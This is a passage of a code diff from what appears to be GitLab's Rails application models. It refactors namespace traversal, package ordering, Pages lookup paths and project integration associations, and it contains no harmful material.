@@ -46,6 +46,12 @@ module Namespaces
after_update :sync_traversal_ids, if: -> { sync_traversal_ids? && saved_change_to_parent_id? }
scope :traversal_ids_contains, ->(ids) { where("traversal_ids @> (?)", ids) }
+ # When filtering namespaces by the traversal_ids column to compile a
+ # list of namespace IDs, it's much faster to reference the ID in
+ # traversal_ids than the primary key ID column.
+ # WARNING This scope must be used behind a linear query feature flag
+ # such as `use_traversal_ids`.
+ scope :as_ids, -> { select('traversal_ids[array_length(traversal_ids, 1)] AS id') }
end
def sync_traversal_ids?
@@ -58,12 +64,30 @@ module Namespaces
traversal_ids.present?
end
+ def root_ancestor
+ return super if parent.nil?
+ return super unless persisted?
+
+ return super if traversal_ids.blank?
+ return super unless Feature.enabled?(:use_traversal_ids_for_root_ancestor, default_enabled: :yaml)
+
+ strong_memoize(:root_ancestor) do
+ Namespace.find_by(id: traversal_ids.first)
+ end
+ end
+
def self_and_descendants
return super unless use_traversal_ids?
lineage(top: self)
end
+ def self_and_descendant_ids
+ return super unless use_traversal_ids?
+
+ self_and_descendants.as_ids
+ end
+
def descendants
return super unless use_traversal_ids?
@@ -88,7 +112,8 @@ module Namespaces
# Clear any previously memoized root_ancestor as our ancestors have changed.
clear_memoization(:root_ancestor)
- Namespace::TraversalHierarchy.for_namespace(root_ancestor).sync_traversal_ids!
+ # We cannot rely on Namespaces::Traversal::Linear#root_ancestor because it might be stale
+ Namespace::TraversalHierarchy.for_namespace(recursive_root_ancestor).sync_traversal_ids!
end
# Lock the root of the hierarchy we just left, and lock the root of the hierarchy
diff --git a/app/models/namespaces/traversal/recursive.rb b/app/models/namespaces/traversal/recursive.rb
index 409438f53d2..5a1a9d24117 100644
--- a/app/models/namespaces/traversal/recursive.rb
+++ b/app/models/namespaces/traversal/recursive.rb
@@ -16,6 +16,7 @@ module Namespaces
parent.root_ancestor
end
end
+ alias_method :recursive_root_ancestor, :root_ancestor
# Returns all ancestors, self, and descendants of the current namespace.
def self_and_hierarchy
@@ -61,6 +62,11 @@ module Namespaces
end
alias_method :recursive_self_and_descendants, :self_and_descendants
+ def self_and_descendant_ids
+ self_and_descendants.select(:id)
+ end
+ alias_method :recursive_self_and_descendant_ids, :self_and_descendant_ids
+
def object_hierarchy(ancestors_base)
Gitlab::ObjectHierarchy.new(ancestors_base, options: { use_distinct: Feature.enabled?(:use_distinct_in_object_hierarchy, self) })
end
diff --git a/app/models/note.rb b/app/models/note.rb
index ae4a8859d4d..d1a59394ba1 100644
--- a/app/models/note.rb
+++ b/app/models/note.rb
@@ -96,7 +96,9 @@ class Note < ApplicationRecord
validate :does_not_exceed_notes_limit?, on: :create, unless: [:system?, :importing?]
- # @deprecated attachments are handler by the MarkdownUploader
+ # @deprecated attachments are handled by the Upload model.
+ #
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/20830
mount_uploader :attachment, AttachmentUploader
# Scopes
@@ -274,6 +276,10 @@ class Note < ApplicationRecord
noteable_type == 'AlertManagement::Alert'
end
+ def for_vulnerability?
+ noteable_type == "Vulnerability"
+ end
+
def for_project_snippet?
noteable.is_a?(ProjectSnippet)
end
@@ -409,6 +415,8 @@ class Note < ApplicationRecord
'snippet'
elsif for_alert_mangement_alert?
'alert_management_alert'
+ elsif for_vulnerability?
+ 'security_resource'
else
noteable_type.demodulize.underscore
end
diff --git a/app/models/onboarding_progress.rb b/app/models/onboarding_progress.rb
index be76c3dbf9d..9185547d7cd 100644
--- a/app/models/onboarding_progress.rb
+++ b/app/models/onboarding_progress.rb
@@ -85,6 +85,10 @@ class OnboardingProgress < ApplicationRecord
end
end
+ def number_of_completed_actions
+ attributes.extract!(*ACTIONS.map { |action| self.class.column_name(action).to_s }).compact!.size
+ end
+
private
def namespace_is_root_namespace
diff --git a/app/models/operations/feature_flag.rb b/app/models/operations/feature_flag.rb
index 537543a7ff0..8b052f80395 100644
--- a/app/models/operations/feature_flag.rb
+++ b/app/models/operations/feature_flag.rb
@@ -49,6 +49,8 @@ module Operations
scope :enabled, -> { where(active: true) }
scope :disabled, -> { where(active: false) }
+ scope :new_version_only, -> { where(version: :new_version_flag)}
+
enum version: {
legacy_flag: 1,
new_version_flag: 2
diff --git a/app/models/packages/debian/group_distribution_key.rb b/app/models/packages/debian/group_distribution_key.rb
new file mode 100644
index 00000000000..a60ddca32e2
--- /dev/null
+++ b/app/models/packages/debian/group_distribution_key.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Packages::Debian::GroupDistributionKey < ApplicationRecord
+ def self.container_type
+ :group
+ end
+
+ include Packages::Debian::DistributionKey
+end
diff --git a/app/models/packages/debian/project_distribution_key.rb b/app/models/packages/debian/project_distribution_key.rb
new file mode 100644
index 00000000000..69cf2791b02
--- /dev/null
+++ b/app/models/packages/debian/project_distribution_key.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Packages::Debian::ProjectDistributionKey < ApplicationRecord
+ def self.container_type
+ :project
+ end
+
+ include Packages::Debian::DistributionKey
+end
diff --git a/app/models/packages/package.rb b/app/models/packages/package.rb
index 36edf646658..7b0bb72940e 100644
--- a/app/models/packages/package.rb
+++ b/app/models/packages/package.rb
@@ -8,6 +8,23 @@ class Packages::Package < ApplicationRecord
DISPLAYABLE_STATUSES = [:default, :error].freeze
INSTALLABLE_STATUSES = [:default].freeze
+ enum package_type: {
+ maven: 1,
+ npm: 2,
+ conan: 3,
+ nuget: 4,
+ pypi: 5,
+ composer: 6,
+ generic: 7,
+ golang: 8,
+ debian: 9,
+ rubygems: 10,
+ helm: 11,
+ terraform_module: 12
+ }
+
+ enum status: { default: 0, hidden: 1, processing: 2, error: 3 }
+
belongs_to :project
belongs_to :creator, class_name: 'User'
@@ -59,7 +76,7 @@ class Packages::Package < ApplicationRecord
validates :version, format: { with: Gitlab::Regex.maven_version_regex }, if: -> { version? && maven? }
validates :version, format: { with: Gitlab::Regex.pypi_version_regex }, if: :pypi?
validates :version, format: { with: Gitlab::Regex.prefixed_semver_regex }, if: :golang?
- validates :version, format: { with: Gitlab::Regex.prefixed_semver_regex }, if: :helm?
+ validates :version, format: { with: Gitlab::Regex.helm_version_regex }, if: :helm?
validates :version, format: { with: Gitlab::Regex.semver_regex }, if: -> { composer_tag_version? || npm? || terraform_module? }
validates :version,
@@ -72,12 +89,6 @@ class Packages::Package < ApplicationRecord
if: :debian_package?
validate :forbidden_debian_changes, if: :debian?
- enum package_type: { maven: 1, npm: 2, conan: 3, nuget: 4, pypi: 5,
- composer: 6, generic: 7, golang: 8, debian: 9,
- rubygems: 10, helm: 11, terraform_module: 12 }
-
- enum status: { default: 0, hidden: 1, processing: 2, error: 3 }
-
scope :for_projects, ->(project_ids) { where(project_id: project_ids) }
scope :with_name, ->(name) { where(name: name) }
scope :with_name_like, ->(name) { where(arel_table[:name].matches(name)) }
@@ -133,14 +144,24 @@ class Packages::Package < ApplicationRecord
scope :order_type_desc, -> { reorder(package_type: :desc) }
scope :order_project_name, -> { joins(:project).reorder('projects.name ASC') }
scope :order_project_name_desc, -> { joins(:project).reorder('projects.name DESC') }
- scope :order_project_path, -> { joins(:project).reorder('projects.path ASC, id ASC') }
- scope :order_project_path_desc, -> { joins(:project).reorder('projects.path DESC, id DESC') }
scope :order_by_package_file, -> { joins(:package_files).order('packages_package_files.created_at ASC') }
+ scope :order_project_path, -> do
+ keyset_order = keyset_pagination_order(join_class: Project, column_name: :path, direction: :asc)
+
+ joins(:project).reorder(keyset_order)
+ end
+
+ scope :order_project_path_desc, -> do
+ keyset_order = keyset_pagination_order(join_class: Project, column_name: :path, direction: :desc)
+
+ joins(:project).reorder(keyset_order)
+ end
+
after_commit :update_composer_cache, on: :destroy, if: -> { composer? }
def self.only_maven_packages_with_path(path, use_cte: false)
- if use_cte && Feature.enabled?(:maven_metadata_by_path_with_optimization_fence, default_enabled: :yaml)
+ if use_cte
# This is an optimization fence which assumes that looking up the Metadatum record by path (globally)
# and then filter down the packages (by project or by group and subgroups) will be cheaper than
# looking up all packages within a project or group and filter them by path.
@@ -196,6 +217,32 @@ class Packages::Package < ApplicationRecord
end
end
+ def self.keyset_pagination_order(join_class:, column_name:, direction: :asc)
+ join_table = join_class.table_name
+ asc_order_expression = Gitlab::Database.nulls_last_order("#{join_table}.#{column_name}", :asc)
+ desc_order_expression = Gitlab::Database.nulls_first_order("#{join_table}.#{column_name}", :desc)
+ order_direction = direction == :asc ? asc_order_expression : desc_order_expression
+ reverse_order_direction = direction == :asc ? desc_order_expression : asc_order_expression
+ arel_order_classes = ::Gitlab::Pagination::Keyset::ColumnOrderDefinition::AREL_ORDER_CLASSES.invert
+
+ ::Gitlab::Pagination::Keyset::Order.build([
+ ::Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: "#{join_table}_#{column_name}",
+ column_expression: join_class.arel_table[column_name],
+ order_expression: order_direction,
+ reversed_order_expression: reverse_order_direction,
+ order_direction: direction,
+ distinct: false,
+ add_to_projections: true
+ ),
+ ::Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: 'id',
+ order_expression: arel_order_classes[direction].new(Packages::Package.arel_table[:id]),
+ add_to_projections: true
+ )
+ ])
+ end
+
def versions
project.packages
.including_build_info
@@ -222,6 +269,10 @@ class Packages::Package < ApplicationRecord
tags.pluck(:name)
end
+ def infrastructure_package?
+ terraform_module?
+ end
+
def debian_incoming?
debian? && version.nil?
end
diff --git a/app/models/packages/package_file.rb b/app/models/packages/package_file.rb
index 3d8641ca2fa..3ef30c035e8 100644
--- a/app/models/packages/package_file.rb
+++ b/app/models/packages/package_file.rb
@@ -33,11 +33,18 @@ class Packages::PackageFile < ApplicationRecord
scope :with_files_stored_locally, -> { where(file_store: ::Packages::PackageFileUploader::Store::LOCAL) }
scope :preload_conan_file_metadata, -> { preload(:conan_file_metadatum) }
scope :preload_debian_file_metadata, -> { preload(:debian_file_metadatum) }
+ scope :preload_helm_file_metadata, -> { preload(:helm_file_metadatum) }
scope :for_rubygem_with_file_name, ->(project, file_name) do
joins(:package).merge(project.packages.rubygems).with_file_name(file_name)
end
+ scope :for_helm_with_channel, ->(project, channel) do
+ joins(:package).merge(project.packages.helm.installable)
+ .joins(:helm_file_metadatum)
+ .where(packages_helm_file_metadata: { channel: channel })
+ end
+
scope :with_conan_file_type, ->(file_type) do
joins(:conan_file_metadatum)
.where(packages_conan_file_metadata: { conan_file_type: ::Packages::Conan::FileMetadatum.conan_file_types[file_type] })
diff --git a/app/models/pages/lookup_path.rb b/app/models/pages/lookup_path.rb
index 17131cd736d..e7d455085c0 100644
--- a/app/models/pages/lookup_path.rb
+++ b/app/models/pages/lookup_path.rb
@@ -26,7 +26,18 @@ module Pages
end
def source
- zip_source || legacy_source
+ return unless deployment&.file
+
+ global_id = ::Gitlab::GlobalId.build(deployment, id: deployment.id).to_s
+
+ {
+ type: 'zip',
+ path: deployment.file.url_or_file_path(expire_at: 1.day.from_now),
+ global_id: global_id,
+ sha256: deployment.file_sha256,
+ file_size: deployment.size,
+ file_count: deployment.file_count
+ }
end
def prefix
@@ -46,32 +57,5 @@ module Pages
project.pages_metadatum.pages_deployment
end
end
-
- def zip_source
- return unless deployment&.file
-
- global_id = ::Gitlab::GlobalId.build(deployment, id: deployment.id).to_s
-
- {
- type: 'zip',
- path: deployment.file.url_or_file_path(expire_at: 1.day.from_now),
- global_id: global_id,
- sha256: deployment.file_sha256,
- file_size: deployment.size,
- file_count: deployment.file_count
- }
- end
-
- # TODO: remove support for legacy storage in 14.3 https://gitlab.com/gitlab-org/gitlab/-/issues/328712
- # we support this till 14.3 to allow people to still use legacy storage if something goes very wrong
- # on self-hosted installations, and we'll need some time to fix it
- def legacy_source
- return unless ::Settings.pages.local_store.enabled
-
- {
- type: 'file',
- path: File.join(project.full_path, 'public/')
- }
- end
end
end
diff --git a/app/models/pages_domain.rb b/app/models/pages_domain.rb
index 4668fc265a0..c932d0bf800 100644
--- a/app/models/pages_domain.rb
+++ b/app/models/pages_domain.rb
@@ -50,6 +50,8 @@ class PagesDomain < ApplicationRecord
after_update :update_daemon, if: :saved_change_to_pages_config?
after_destroy :update_daemon
+ scope :for_project, ->(project) { where(project: project) }
+
scope :enabled, -> { where('enabled_until >= ?', Time.current ) }
scope :needs_verification, -> do
verified_at = arel_table[:verified_at]
@@ -225,16 +227,6 @@ class PagesDomain < ApplicationRecord
def pages_deployed?
return false unless project
- # TODO: remove once `pages_metadatum` is migrated
- # https://gitlab.com/gitlab-org/gitlab/issues/33106
- unless project.pages_metadatum
- Gitlab::BackgroundMigration::MigratePagesMetadata
- .new
- .perform_on_relation(Project.where(id: project_id))
-
- project.reset
- end
-
project.pages_metadatum&.deployed?
end
diff --git a/app/models/postgresql/replication_slot.rb b/app/models/postgresql/replication_slot.rb
index c96786423e5..77b42c34ad9 100644
--- a/app/models/postgresql/replication_slot.rb
+++ b/app/models/postgresql/replication_slot.rb
@@ -26,8 +26,8 @@ module Postgresql
"(pg_current_wal_insert_lsn(), restart_lsn)::bigint"
# We force the use of a transaction here so the query always goes to the
- # primary, even when using the EE DB load balancer.
- sizes = transaction { pluck(lag_function) }
+ # primary, even when using the DB load balancer.
+ sizes = transaction { pluck(Arel.sql(lag_function)) }
too_great = sizes.compact.count { |size| size >= max }
# If too many replicas are falling behind too much, the availability of a
diff --git a/app/models/preloaders/user_max_access_level_in_projects_preloader.rb b/app/models/preloaders/user_max_access_level_in_projects_preloader.rb
index 671091480ee..c0ed56057ae 100644
--- a/app/models/preloaders/user_max_access_level_in_projects_preloader.rb
+++ b/app/models/preloaders/user_max_access_level_in_projects_preloader.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module Preloaders
- # This class preloads the max access level for the user within the given projects and
+ # This class preloads the max access level (role) for the user within the given projects and
# stores the values in requests store via the ProjectTeam class.
class UserMaxAccessLevelInProjectsPreloader
def initialize(projects, user)
diff --git a/app/models/project.rb b/app/models/project.rb
index 9d572b7e2f8..735dc185575 100644
--- a/app/models/project.rb
+++ b/app/models/project.rb
@@ -63,8 +63,6 @@ class Project < ApplicationRecord
VALID_MIRROR_PORTS = [22, 80, 443].freeze
VALID_MIRROR_PROTOCOLS = %w(http https ssh git).freeze
- ACCESS_REQUEST_APPROVERS_TO_BE_NOTIFIED_LIMIT = 10
-
SORTING_PREFERENCE_FIELD = :projects_sort
MAX_BUILD_TIMEOUT = 1.month
@@ -129,40 +127,6 @@ class Project < ApplicationRecord
after_create :check_repository_absence!
acts_as_ordered_taggable_on :topics
- # The 'tag_list' alias and the 'has_many' associations are required during the 'tags -> topics' migration
- # TODO: eliminate 'tag_list', 'topic_taggings' and 'tags' in the further process of the migration
- # https://gitlab.com/gitlab-org/gitlab/-/issues/331081
- alias_attribute :tag_list, :topic_list
- has_many :topic_taggings, -> { includes(:tag).order("#{ActsAsTaggableOn::Tagging.table_name}.id") },
- as: :taggable,
- class_name: 'ActsAsTaggableOn::Tagging',
- after_add: :dirtify_tag_list,
- after_remove: :dirtify_tag_list
- has_many :topics, -> { order("#{ActsAsTaggableOn::Tagging.table_name}.id") },
- class_name: 'ActsAsTaggableOn::Tag',
- through: :topic_taggings,
- source: :tag
- has_many :tags, -> { order("#{ActsAsTaggableOn::Tagging.table_name}.id") },
- class_name: 'ActsAsTaggableOn::Tag',
- through: :topic_taggings,
- source: :tag
-
- # Overwriting 'topic_list' and 'topic_list=' is necessary to ensure functionality during the background migration [1].
- # [1] https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61237
- # TODO: remove 'topic_list' and 'topic_list=' once the background migration is complete
- # https://gitlab.com/gitlab-org/gitlab/-/issues/331081
- def topic_list
- # Return both old topics (context 'tags') and new topics (context 'topics')
- tag_list_on('tags') + tag_list_on('topics')
- end
-
- def topic_list=(new_tags)
- # Old topics with context 'tags' are added as new topics with context 'topics'
- super(new_tags)
-
- # Remove old topics with context 'tags'
- set_tag_list_on('tags', '')
- end
attr_accessor :old_path_with_namespace
attr_accessor :template_name
@@ -182,44 +146,51 @@ class Project < ApplicationRecord
has_one :last_event, -> {order 'events.created_at DESC'}, class_name: 'Event'
has_many :boards
+ def self.integration_association_name(name)
+ if ::Integration.renamed?(name)
+ "#{name}_integration"
+ else
+ "#{name}_service"
+ end
+ end
+
# Project integrations
- has_one :asana_service, class_name: 'Integrations::Asana'
- has_one :assembla_service, class_name: 'Integrations::Assembla'
- has_one :bamboo_service, class_name: 'Integrations::Bamboo'
- has_one :campfire_service, class_name: 'Integrations::Campfire'
- has_one :confluence_service, class_name: 'Integrations::Confluence'
- has_one :datadog_service, class_name: 'Integrations::Datadog'
+ has_one :asana_integration, class_name: 'Integrations::Asana'
+ has_one :assembla_integration, class_name: 'Integrations::Assembla'
+ has_one :bamboo_integration, class_name: 'Integrations::Bamboo'
+ has_one :bugzilla_integration, class_name: 'Integrations::Bugzilla'
+ has_one :buildkite_integration, class_name: 'Integrations::Buildkite'
+ has_one :campfire_integration, class_name: 'Integrations::Campfire'
+ has_one :confluence_integration, class_name: 'Integrations::Confluence'
+ has_one :custom_issue_tracker_integration, class_name: 'Integrations::CustomIssueTracker'
+ has_one :datadog_integration, class_name: 'Integrations::Datadog'
+ has_one :discord_integration, class_name: 'Integrations::Discord'
+ has_one :drone_ci_integration, class_name: 'Integrations::DroneCi'
has_one :emails_on_push_service, class_name: 'Integrations::EmailsOnPush'
- has_one :discord_service
- has_one :drone_ci_service
- has_one :ewm_service
- has_one :pipelines_email_service
- has_one :irker_service
- has_one :pivotaltracker_service
- has_one :flowdock_service
- has_one :mattermost_slash_commands_service
- has_one :mattermost_service
- has_one :slack_slash_commands_service
- has_one :slack_service
- has_one :buildkite_service
- has_one :teamcity_service
- has_one :pushover_service
- has_one :jenkins_service
- has_one :jira_service
- has_one :redmine_service
- has_one :youtrack_service
- has_one :custom_issue_tracker_service
- has_one :bugzilla_service
- has_one :external_wiki_service
+ has_one :ewm_service, class_name: 'Integrations::Ewm'
+ has_one :external_wiki_service, class_name: 'Integrations::ExternalWiki'
+ has_one :flowdock_service, class_name: 'Integrations::Flowdock'
+ has_one :hangouts_chat_service, class_name: 'Integrations::HangoutsChat'
+ has_one :irker_service, class_name: 'Integrations::Irker'
+ has_one :jenkins_service, class_name: 'Integrations::Jenkins'
+ has_one :jira_service, class_name: 'Integrations::Jira'
+ has_one :mattermost_service, class_name: 'Integrations::Mattermost'
+ has_one :mattermost_slash_commands_service, class_name: 'Integrations::MattermostSlashCommands'
+ has_one :microsoft_teams_service, class_name: 'Integrations::MicrosoftTeams'
+ has_one :mock_ci_service, class_name: 'Integrations::MockCi'
+ has_one :packagist_service, class_name: 'Integrations::Packagist'
+ has_one :pipelines_email_service, class_name: 'Integrations::PipelinesEmail'
+ has_one :pivotaltracker_service, class_name: 'Integrations::Pivotaltracker'
+ has_one :pushover_service, class_name: 'Integrations::Pushover'
+ has_one :redmine_service, class_name: 'Integrations::Redmine'
+ has_one :slack_service, class_name: 'Integrations::Slack'
+ has_one :slack_slash_commands_service, class_name: 'Integrations::SlackSlashCommands'
+ has_one :teamcity_service, class_name: 'Integrations::Teamcity'
+ has_one :unify_circuit_service, class_name: 'Integrations::UnifyCircuit'
+ has_one :webex_teams_service, class_name: 'Integrations::WebexTeams'
+ has_one :youtrack_service, class_name: 'Integrations::Youtrack'
has_one :prometheus_service, inverse_of: :project
- has_one :mock_ci_service
- has_one :mock_deployment_service
has_one :mock_monitoring_service
- has_one :microsoft_teams_service
- has_one :packagist_service
- has_one :hangouts_chat_service
- has_one :unify_circuit_service
- has_one :webex_teams_service
has_one :root_of_fork_network,
foreign_key: 'root_project_id',
@@ -261,7 +232,15 @@ class Project < ApplicationRecord
has_many :events
has_many :milestones
has_many :iterations
- has_many :notes
+
+ # Projects with a very large number of notes may time out destroying them
+ # through the foreign key. Additionally, the deprecated attachment uploader
+ # for notes requires us to use dependent: :destroy to avoid orphaning uploaded
+ # files.
+ #
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/207222
+ has_many :notes, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
+
has_many :snippets, class_name: 'ProjectSnippet'
has_many :hooks, class_name: 'ProjectHook'
has_many :protected_branches
@@ -287,7 +266,7 @@ class Project < ApplicationRecord
has_many :users_star_projects
has_many :starrers, through: :users_star_projects, source: :user
has_many :releases
- has_many :lfs_objects_projects, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
+ has_many :lfs_objects_projects
has_many :lfs_objects, -> { distinct }, through: :lfs_objects_projects
has_many :lfs_file_locks
has_many :project_group_links
@@ -439,6 +418,7 @@ class Project < ApplicationRecord
delegate :scheduled?, :started?, :in_progress?, :failed?, :finished?,
prefix: :import, to: :import_state, allow_nil: true
delegate :squash_always?, :squash_never?, :squash_enabled_by_default?, :squash_readonly?, to: :project_setting
+ delegate :squash_option, to: :project_setting
delegate :no_import?, to: :import_state, allow_nil: true
delegate :name, to: :owner, allow_nil: true, prefix: true
delegate :members, to: :team, prefix: true
@@ -449,11 +429,12 @@ class Project < ApplicationRecord
delegate :last_pipeline, to: :commit, allow_nil: true
delegate :external_dashboard_url, to: :metrics_setting, allow_nil: true, prefix: true
delegate :dashboard_timezone, to: :metrics_setting, allow_nil: true, prefix: true
- delegate :default_git_depth, :default_git_depth=, to: :ci_cd_settings, prefix: :ci
- delegate :forward_deployment_enabled, :forward_deployment_enabled=, :forward_deployment_enabled?, to: :ci_cd_settings, prefix: :ci
- delegate :keep_latest_artifact, :keep_latest_artifact=, :keep_latest_artifact?, :keep_latest_artifacts_available?, to: :ci_cd_settings
+ delegate :default_git_depth, :default_git_depth=, to: :ci_cd_settings, prefix: :ci, allow_nil: true
+ delegate :forward_deployment_enabled, :forward_deployment_enabled=, :forward_deployment_enabled?, to: :ci_cd_settings, prefix: :ci, allow_nil: true
+ delegate :job_token_scope_enabled, :job_token_scope_enabled=, :job_token_scope_enabled?, to: :ci_cd_settings, prefix: :ci
+ delegate :keep_latest_artifact, :keep_latest_artifact=, :keep_latest_artifact?, :keep_latest_artifacts_available?, to: :ci_cd_settings, allow_nil: true
delegate :restrict_user_defined_variables, :restrict_user_defined_variables=, :restrict_user_defined_variables?,
- to: :ci_cd_settings
+ to: :ci_cd_settings, allow_nil: true
delegate :actual_limits, :actual_plan_name, to: :namespace, allow_nil: true
delegate :allow_merge_on_skipped_pipeline, :allow_merge_on_skipped_pipeline?,
:allow_merge_on_skipped_pipeline=, :has_confluence?, :allow_editing_commit_messages?,
@@ -561,7 +542,7 @@ class Project < ApplicationRecord
scope :for_milestones, ->(ids) { joins(:milestones).where('milestones.id' => ids).distinct }
scope :with_push, -> { joins(:events).merge(Event.pushed_action) }
scope :with_project_feature, -> { joins('LEFT JOIN project_features ON projects.id = project_features.project_id') }
- scope :with_active_jira_services, -> { joins(:integrations).merge(::JiraService.active) } # rubocop:disable CodeReuse/ServiceClass
+ scope :with_active_jira_services, -> { joins(:integrations).merge(::Integrations::Jira.active) }
scope :with_jira_dvcs_cloud, -> { joins(:feature_usage).merge(ProjectFeatureUsage.with_jira_dvcs_integration_enabled(cloud: true)) }
scope :with_jira_dvcs_server, -> { joins(:feature_usage).merge(ProjectFeatureUsage.with_jira_dvcs_integration_enabled(cloud: false)) }
scope :inc_routes, -> { includes(:route, namespace: :route) }
@@ -637,6 +618,12 @@ class Project < ApplicationRecord
scope :with_tracing_enabled, -> { joins(:tracing_setting) }
scope :with_enabled_error_tracking, -> { joins(:error_tracking_setting).where(project_error_tracking_settings: { enabled: true }) }
+ scope :with_service_desk_key, -> (key) do
+ # project_key is not indexed for now
+ # see https://gitlab.com/gitlab-org/gitlab/-/merge_requests/24063#note_282435524 for details
+ joins(:service_desk_setting).where('service_desk_settings.project_key' => key)
+ end
+
enum auto_cancel_pending_pipelines: { disabled: 0, enabled: 1 }
chronic_duration_attr :build_timeout_human_readable, :build_timeout,
@@ -652,7 +639,7 @@ class Project < ApplicationRecord
mount_uploader :bfg_object_map, AttachmentUploader
def self.with_api_entity_associations
- preload(:project_feature, :route, :tags, :group, :timelogs, namespace: [:route, :owner])
+ preload(:project_feature, :route, :topics, :group, :timelogs, namespace: [:route, :owner])
end
def self.with_web_entity_associations
@@ -838,12 +825,6 @@ class Project < ApplicationRecord
from_union([with_issues_enabled, with_merge_requests_enabled]).select(:id)
end
-
- def find_by_service_desk_project_key(key)
- # project_key is not indexed for now
- # see https://gitlab.com/gitlab-org/gitlab/-/merge_requests/24063#note_282435524 for details
- joins(:service_desk_setting).find_by('service_desk_settings.project_key' => key)
- end
end
def initialize(attributes = nil)
@@ -921,6 +902,10 @@ class Project < ApplicationRecord
alias_method :ancestors, :ancestors_upto
+ def ancestors_upto_ids(...)
+ ancestors_upto(...).pluck(:id)
+ end
+
def emails_disabled?
strong_memoize(:emails_disabled) do
# disabling in the namespace overrides the project setting
@@ -1407,9 +1392,9 @@ class Project < ApplicationRecord
end
def disabled_services
- return %w[datadog hipchat] unless Feature.enabled?(:datadog_ci_integration, self)
+ return %w[datadog] unless Feature.enabled?(:datadog_ci_integration, self)
- %w[hipchat]
+ []
end
def find_or_initialize_service(name)
@@ -1421,7 +1406,8 @@ class Project < ApplicationRecord
# rubocop: disable CodeReuse/ServiceClass
def create_labels
Label.templates.each do |label|
- params = label.attributes.except('id', 'template', 'created_at', 'updated_at', 'type')
+ # TODO: remove_on_close exception can be removed after the column is dropped from all envs
+ params = label.attributes.except('id', 'template', 'created_at', 'updated_at', 'type', 'remove_on_close')
Labels::FindOrCreateService.new(nil, self, params).execute(skip_authorization: true)
end
end
@@ -1735,7 +1721,11 @@ class Project < ApplicationRecord
end
def shared_runners
- @shared_runners ||= shared_runners_available? ? Ci::Runner.instance_type : Ci::Runner.none
+ @shared_runners ||= shared_runners_enabled? ? Ci::Runner.instance_type : Ci::Runner.none
+ end
+
+ def available_shared_runners
+ @available_shared_runners ||= shared_runners_available? ? shared_runners : Ci::Runner.none
end
def group_runners
@@ -1746,17 +1736,16 @@ class Project < ApplicationRecord
Ci::Runner.from_union([runners, group_runners, shared_runners])
end
+ def all_available_runners
+ Ci::Runner.from_union([runners, group_runners, available_shared_runners])
+ end
+
def active_runners
strong_memoize(:active_runners) do
- all_runners.active
+ all_available_runners.active
end
end
- # Deprecated: https://gitlab.com/gitlab-org/gitlab/-/issues/326989
- def any_active_runners?(&block)
- active_runners_with_tags.any?(&block)
- end
-
def any_online_runners?(&block)
online_runners_with_tags.any?(&block)
end
@@ -1772,7 +1761,7 @@ class Project < ApplicationRecord
# rubocop: enable CodeReuse/ServiceClass
# rubocop: disable CodeReuse/ServiceClass
- def open_merge_requests_count
+ def open_merge_requests_count(_current_user = nil)
Projects::OpenMergeRequestsCountService.new(self).count
end
# rubocop: enable CodeReuse/ServiceClass
@@ -2006,7 +1995,11 @@ class Project < ApplicationRecord
end
def export_file_exists?
- export_file&.file
+ import_export_upload&.export_file_exists?
+ end
+
+ def export_archive_exists?
+ import_export_upload&.export_archive_exists?
end
def export_file
@@ -2046,7 +2039,6 @@ class Project < ApplicationRecord
.append(key: 'CI_PROJECT_VISIBILITY', value: Gitlab::VisibilityLevel.string_level(visibility_level))
.append(key: 'CI_PROJECT_REPOSITORY_LANGUAGES', value: repository_languages.map(&:name).join(',').downcase)
.append(key: 'CI_DEFAULT_BRANCH', value: default_branch)
- .append(key: 'CI_PROJECT_CONFIG_PATH', value: ci_config_path_or_default)
.append(key: 'CI_CONFIG_PATH', value: ci_config_path_or_default)
end
@@ -2377,7 +2369,7 @@ class Project < ApplicationRecord
end
def mark_primary_write_location
- # Overriden in EE
+ ::Gitlab::Database::LoadBalancing::Sticking.mark_primary_write_location(:project, self.id)
end
def toggle_ci_cd_settings!(settings_attribute)
@@ -2454,7 +2446,7 @@ class Project < ApplicationRecord
end
def access_request_approvers_to_be_notified
- members.maintainers.connected_to_user.order_recent_sign_in.limit(ACCESS_REQUEST_APPROVERS_TO_BE_NOTIFIED_LIMIT)
+ members.maintainers.connected_to_user.order_recent_sign_in.limit(Member::ACCESS_REQUEST_APPROVERS_TO_BE_NOTIFIED_LIMIT)
end
def pages_lookup_path(trim_prefix: nil, domain: nil)
@@ -2562,6 +2554,17 @@ class Project < ApplicationRecord
end
end
+ # for projects that are part of user namespace, return project.
+ def self_or_root_group_ids
+ if group
+ root_group = root_namespace
+ else
+ project = self
+ end
+
+ [project&.id, root_group&.id]
+ end
+
def package_already_taken?(package_name)
namespace.root_ancestor.all_projects
.joins(:packages)
@@ -2604,10 +2607,6 @@ class Project < ApplicationRecord
Projects::GitGarbageCollectWorker
end
- def inherited_issuable_templates_enabled?
- Feature.enabled?(:inherited_issuable_templates, self, default_enabled: :yaml)
- end
-
def activity_path
Gitlab::Routing.url_helpers.activity_project_path(self)
end
@@ -2618,6 +2617,19 @@ class Project < ApplicationRecord
ProjectStatistics.increment_statistic(self, statistic, delta)
end
+ def merge_requests_author_approval
+ !!read_attribute(:merge_requests_author_approval)
+ end
+
+ def container_registry_enabled
+ if Feature.enabled?(:read_container_registry_access_level, self.namespace, default_enabled: :yaml)
+ project_feature.container_registry_enabled?
+ else
+ read_attribute(:container_registry_enabled)
+ end
+ end
+ alias_method :container_registry_enabled?, :container_registry_enabled
+
private
def set_container_registry_access_level
@@ -2647,7 +2659,7 @@ class Project < ApplicationRecord
end
def build_service(name)
- Integration.service_name_to_model(name).new(project_id: id)
+ Integration.integration_name_to_model(name).new(project_id: id)
end
def services_templates
diff --git a/app/models/project_authorization.rb b/app/models/project_authorization.rb
index 1fed166e4d0..64e768007ee 100644
--- a/app/models/project_authorization.rb
+++ b/app/models/project_authorization.rb
@@ -29,6 +29,15 @@ class ProjectAuthorization < ApplicationRecord
EOF
end
end
+
+ # This method overrides its ActiveRecord's version in order to work correctly
